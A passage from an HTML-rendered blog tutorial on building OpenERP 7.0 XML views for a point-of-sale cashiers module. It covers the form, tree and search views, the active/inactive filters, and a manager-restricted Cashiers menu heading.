<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Cashiers</code><code class="literal1">"</code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">menu_point_of_sale_cashiers</code><code class="literal1">"</code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">parent</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">point_of_sale.menu_point_root</code><code class="literal1">"</code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">sequence</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">16</code><code class="literal1">"</code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">groups</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">point_of_sale.group_pos_manager</code><code class="literal1">"</code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">menuitem</code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">menu_action_pos_cashier</code><code class="literal1">"</code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">parent</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">menu_point_of_sale_cashiers</code><code class="literal1">"</code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">action</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">action_pos_cashier</code><code class="literal1">"</code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">#</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">data</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">openerp</code><code class="markup">></code>
</code></pre>
</div>
OpenERP view file is always built this way<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e5696">
Structure of an OpenERP view<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e5696" onclick="selectionCode('contenuCoded0e5696');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e5696"> <code class="keyword3"><?</code><code class="keyword3">xml</code><code class="keyword3"> </code><code class="keyword3">version="1.0"</code><code class="keyword3"> </code><code class="keyword3">encoding="utf-8"?</code><code class="keyword3">></code>
<code class="markup"><</code><code class="markup">openerp</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">data</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">record</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Here</code><code class="comment1"> </code><code class="comment1">the</code><code class="comment1"> </code><code class="comment1">various</code><code class="comment1"> </code><code class="comment1">fields</code><code class="comment1"> </code><code class="comment1">of</code><code class="comment1"> </code><code class="comment1">the</code><code class="comment1"> </code><code class="comment1">view</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">menuitem</code><code class="markup">/</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Etc.</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">data</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">openerp</code><code class="markup">></code>
</code></pre>
</div>
<h4 class="TitreSection3" id="LVII-B-4-a">
VII-B-4-a. The form view<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h4>
<div class="BlocSection3">
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e5822">
pos_cashier_form View<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e5822" onclick="selectionCode('contenuCoded0e5822');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e5822"> <code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_cashier_form</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.ui.view</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>pos.cashier.form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.cashier<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">form</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Cashiers</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">version</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">7.0</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">group</code><code class="markup"> </code><code class="markup">col</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">4</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_config_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">widget</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">selection</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">eval</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ref('pos.config.name')</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">active</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">group</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">form</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
</code></pre>
</div>
<b>The first line contains the identifier of the view and the model used.</b><br /><br /><b><span style="color: red;">id="pos_cashier_form"</span></b><br />
To make it easier to debug later, I recommend you put the module name, followed by the type of view.<br /><br /><b><span style="color: red;">model="ir.ui.view"</span></b><br />
Since this is a « View », the model will always be <b>ir.ui.view</b> (the view is stored in the <b>ir_ui_view</b> table of OpenERP).<br />
<b>The following three fields (mandatory)</b>
<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e6150">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e6150" onclick="selectionCode('contenuCoded0e6150');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e6150"> <code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>pos.cashier.form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.cashier<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">other</code><code class="comment1"> </code><code class="comment1">objects</code><code class="comment1"> </code><code class="comment1">inside</code><code class="comment1"> </code><code class="comment1">"arch"</code><code class="comment1"> </code><code class="comment1">field</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
</code></pre>
</div>
<b><span style="color: red;">name="name" field</span></b><br />
This is the name of the view. Return the identifier of the view, but replace underscores with a dot so that there is no confusion.<br /><br /><b><span style="color: red;">name="model"</span><span style="color: #ff3366;"> field</span></b><br />
This is the name of the table. Here we use the <b>pos.cashier</b> table.<br /><br /><b><span style="color: red;">name="arch" field</span></b> <br />
It is inside this tag that will put the view itself.<br /><br /><b>So we will insert a form</b><br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e6307">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e6307" onclick="selectionCode('contenuCoded0e6307');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e6307"> <code class="markup"><</code><code class="markup">form</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Cashiers</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">version</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">7.0</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">group</code><code class="markup"> </code><code class="markup">col</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">4</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_config_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">widget</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">selection</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">eval</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ref('pos.config.name')</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">active</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">group</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">form</code><code class="markup">></code>
</code></pre>
</div>
<div class="imgtext-info">
When you add the <b>string</b> attribute in a field, this is the text that will be displayed (instead of the name of the field in the database, if that is the case). </div>
So we add the nedded form fields.<br /><br /><b><span style="color: red;">name="cashier_name"</span></b><br />
This is the text field that allows you to enter the name of the cashier.<br /><br /><b><span style="color: red;">name="pos_config_id"</span></b><br />
This field will display the dropdown list of available Points Of Sale through the <b>widget="selection"</b> attribute<br /><br />
With the « eval » attribute, we ask OpenERP to display the name of the Point Of Sale<br /><br /><b><span style="color: red;">name="active"</span></b><br />
This is the checkbox that enables / disable a cashier.<br /><br />
You will notice that the fields are inside a <b><group> </b>tag.<br />
This tells OpenERP how to display the fields in the form page<br /><br />
Here we specify, with the <b>col</b> attribute, the number of columns to use.<br /><br /><b>Form fields appear like this</b><br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/champs_OpenERP.jpg"><img alt="Distribution of the fields in a form with <group> tag and col=4 attribute" class="ImgCliquable" height="314px" src="./images/champs_OpenERP.jpg" width="550px" /></a><figcaption>Distribution of the fields in a form with <group> tag and col=4 attribute</figcaption></figure>
<br />
<b>Here's how the cashiers creation form will be displayed</b>
<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_form.jpg"><img alt="Creation form of the cashiers" class="ImgCliquable" height="140px" src="./images/pos_cashier_form.jpg" width="550px" /></a><figcaption>Creation form of the cashiers</figcaption></figure>
</div>
<h4 class="TitreSection3" id="LVII-B-4-b">
VII-B-4-b. The Tree view<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h4>
<div class="BlocSection3">
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e6539">
pos_cashier_tree View<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e6539" onclick="selectionCode('contenuCoded0e6539');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e6539"> <code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_cashier_tree</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.ui.view</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>pos.cashier.tree<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.cashier<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">tree</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Cashiers</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_config_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">ref</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos.config.name</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">active</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">tree</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
</code></pre>
</div>
Instead of <b><form></b> tag, we will insert a <b><tree></b> tag.<br />
These columns appear in the cashiers table.</div>
<h4 class="TitreSection3" id="LVII-B-4-c">
VII-B-4-c. The search view<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h4>
<div class="BlocSection3">
This is a special view. It will create search filters that appear by clicking the arrow in the search form in the upper right of the page.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e6801">
pos_cashier_search View<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e6801" onclick="selectionCode('contenuCoded0e6801');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e6801"> <code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.ui.view</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_cashier_search</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>pos.cashier.search<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.cashier<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">search</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Point</code><code class="literal1"> </code><code class="literal1">of</code><code class="literal1"> </code><code class="literal1">Sale</code><code class="literal1"> </code><code class="literal1">Cashier</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">filter</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">filter_see_all</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">All</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">domain</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">['|',</code><code class="literal1"> </code><code class="literal1">('active',</code><code class="literal1"> </code><code class="literal1">'=',True),</code><code class="literal1"> </code><code class="literal1">('active',</code><code class="literal1"> </code><code class="literal1">'=',False)]</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">filter</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">filter_see_active</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Active</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">domain</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">[('active',</code><code class="literal1"> </code><code class="literal1">'=',True)]</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">filter</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">filter_see_inactive</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Inactive</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">domain</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">[('active',</code><code class="literal1"> </code><code class="literal1">'=',False)]</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">search</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
</code></pre>
</div>
This time, instead of <b><tree></b> tag, we will insert a <b><search></b> tag in which we specify a search field and several filters.<br /><br />
So we add the following field<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e7180">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e7180" onclick="selectionCode('contenuCoded0e7180');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e7180"> <code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
</code></pre>
</div>
We will now add a search filter with the <b><filter></b> tag<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e7212">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e7212" onclick="selectionCode('contenuCoded0e7212');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e7212"> <code class="markup"><</code><code class="markup">filter</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">filter_see_all</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">All</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">domain</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">['|',</code><code class="literal1"> </code><code class="literal1">('active',</code><code class="literal1"> </code><code class="literal1">'=',True),</code><code class="literal1"> </code><code class="literal1">('active',</code><code class="literal1"> </code><code class="literal1">'=',False)]</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
</code></pre>
</div>
<b><span style="color: red;">name="filter_see_all"</span></b><br />
Here we call the filter : <b>filter_see_all</b>.<br /><br /><b><span style="color: red;">string="All"</span></b><br />
This is the word that will be displayed in the search form<br /><br /><b><span style="color: red;">domain="['|', ('active', '=',True), ('active', '=',False)]"</span></b><br />
This is the area of research.<br />
Here we search for active or non-active cashiers. We want to see all cashiers.<br /><br />
The <b>domain</b> attribute is an array in which you put the search parameters<br /><br />
here, the « <b><span style="color: red;">|</span></b> » (or) operator indicates that at least one condition must be met.<br />
<div class="imgtext-info">
Inactive objects are not visible in tree view nor form view by default. We must create a filter to display inactive cashiers in order to activate them when needed.</div>
The other two filters will display the active or inactive cashiers<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_filter.jpg"><img alt="Search filters appear when we click on the arrow near the search field" class="ImgCliquable" height="325px" src="./images/pos_cashier_filter.jpg" width="412px" /></a><figcaption>Search filters appear when we click on the arrow near the search field</figcaption></figure>
</div>
<h4 class="TitreSection3" id="LVII-B-4-d">
VII-B-4-d. The Cashiers menu<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h4>
<div class="BlocSection3">
We will now create a <b>Cashiers</b> menu that will appear in<b> Cashiers</b> heading in the Point Of Sale left menu<br />
<div class="imgtext-info">
We could have simply to add only <b>Cashiers</b> menu without adding a Cashiers heading, but it will show you how to create a menu inside a heading.<br />
Moreover, you will see that this heading will be visible only by one user group. If in the future you decide to add a menu in this heading, only authorized users in the group can see it.. </div>
<div class="imgtext-warning">
I present to you the creation of the menu before the creation of the action for a better understanding, but in fact, the code will require that the menu is written after the action, because as referring to the action, if the menu is written before, Python will return the error <b>action_pos_cashier does not exist.</b></div>
<b>The « Cashiers » heading</b>
<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e7359">
Cashiers heading<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e7359" onclick="selectionCode('contenuCoded0e7359');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e7359"> <code class="markup"><</code><code class="markup">menuitem</code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Cashiers</code><code class="literal1">"</code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">menu_point_of_sale_cashiers</code><code class="literal1">"</code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">parent</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">point_of_sale.menu_point_root</code><code class="literal1">"</code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">sequence</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">16</code><code class="literal1">"</code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">groups</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">point_of_sale.group_pos_manager</code><code class="literal1">"</code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
</code></pre>
</div>
A menu is written in <b><menuitem/></b> tag.<br /><br /><b><span style="color: red;">name="Cashiers"</span></b><br />
This is the name of the heading.<br /><br /><b><span style="color: red;">id</span></b><br />
As usual, it specifies an identifier for the heading.<br /><br /><b><span style="color: red;">parent</span></b><br />
This is what allows us to insert the item in an existing menu. <br />
Here we insert our menu item in the Point of Sale menu, we must retrieve the identifier of the menu in the original file of the Point Of Sale. As this menu does not belong to our module, we refer to it by using the usual dot syntax.<br /><br /><b><span style="color: red;">sequence</span></b><br />
This is the number that is used to sort the heading. The lower the number, the higher the heading is.<br /><br /><b><span style="color: red;">groups</span></b><br />
We want to restrict access to this menu for <b>POS/Manager</b> user group.<br />
We use here also dot syntax to refer to the group. We could allow multiple groups, by adding them separated by a comma.<br />
<div class="imgtext-info">
A menu which has no <b>action </b>attribute becomes a heading </div>
<b>The « Cashiers » menu</b>
<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e7594">
Cashiers menu<br />
<div class="selectionner_code">
